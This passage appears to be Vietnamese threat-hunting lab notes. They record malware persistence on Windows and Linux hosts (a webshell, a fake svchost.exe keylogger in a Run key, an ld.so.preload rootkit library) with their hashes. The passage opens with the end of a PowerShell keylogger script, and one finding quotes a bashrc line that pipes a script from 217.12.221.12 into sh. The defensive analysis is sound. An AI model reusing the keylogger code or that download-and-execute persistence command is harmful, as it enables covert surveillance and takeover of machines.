}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
```
:::
::: danger
Hash file 2: f6591c1ab7f7b782c386af1b6c2c0e9b
File Path: C:\inetpub\wwwroot\QPVN\wwwroot\img
Persistent Type: Webshell
Persistent Location: C:\inetpub
IPs: N/A
Sub-process & Service: N/A
Command-line:
:::
# Lab 20
## Tools use
- VirusTotal
- AutoRuns
## Scanning
### svchost.exe
Sử dụng AutoRuns phát hiện ở Run đang được lập lịch một process lạ

Jump image để xem nơi file `svchost.exe`. Có thể thấy việc `svchost.exe` nằm ngoài `System32` là điều đáng nghi

Sử dụng VirusTotal và kết luận được nó là mã độc ([keylogger](https://github.com/ajayrandhawa/Keylogger))

:::danger
Hash file : 80460db2c846a4115b7f0509a63fb0bd
File Path: C:\Users\hunter\AppData\Roaming\WPDNSE
Persistent Type: Run
Persistent Location: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 21
## Tools use
- VirusTotal
## Scanning
### libxselinux.so
Khi vừa login vào ta đã thấy thông xuất hiện trên màn hình. Lỗi này xuất hiện vì file `libxselinux.so` không được load vào
> `libselinux.so` cung cấp các hàm để ứng dụng người dùng tương tác với SELinux

Sau khi kiểm tra, ta thấy file này mặc dù tồn tại nhưng không thể đọc bằng `cat`, dùng `hexdump` và `strings` để đọc. Có thể thấy nó đang load file `libxselinux`

Khi để ý kỹ lại tên, `libxselinux.so` không phải thư viện chuẩn, nó bị thừa chữ `x`. Kiểm tra hash file trên VirusTotal và kết luận nó là mã độc

:::danger
Hash file : 06c20c95ca7a0e9a2c94ee738e150ce2
File Path: /lib64
Persistent Type: Preload
Persistent Location: /etc/ld.so.preload
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 23
## Tools use
- VirusTotal
## Scanning
### Ci.sh
Dựa vào ảnh dưới phát hiện ở `/etc/bashrc` có lệnh `curl` đến IP nghi ngờ

Câu lệnh được phát hiện

Lệnh này tải file `Ci.sh` sau đó thực thi file


:::danger
Hash file : a9afc2ada71b6a121f670a70d6a16dfa
File Path: /
Persistent Type: bashrc
Persistent Location: /etc/bashrc
IPs: 217.12.221.12
Sub-process & Service: N/A
Command-line: `curl -s -L http://217.12.221.12/Ci.sh|sh`
:::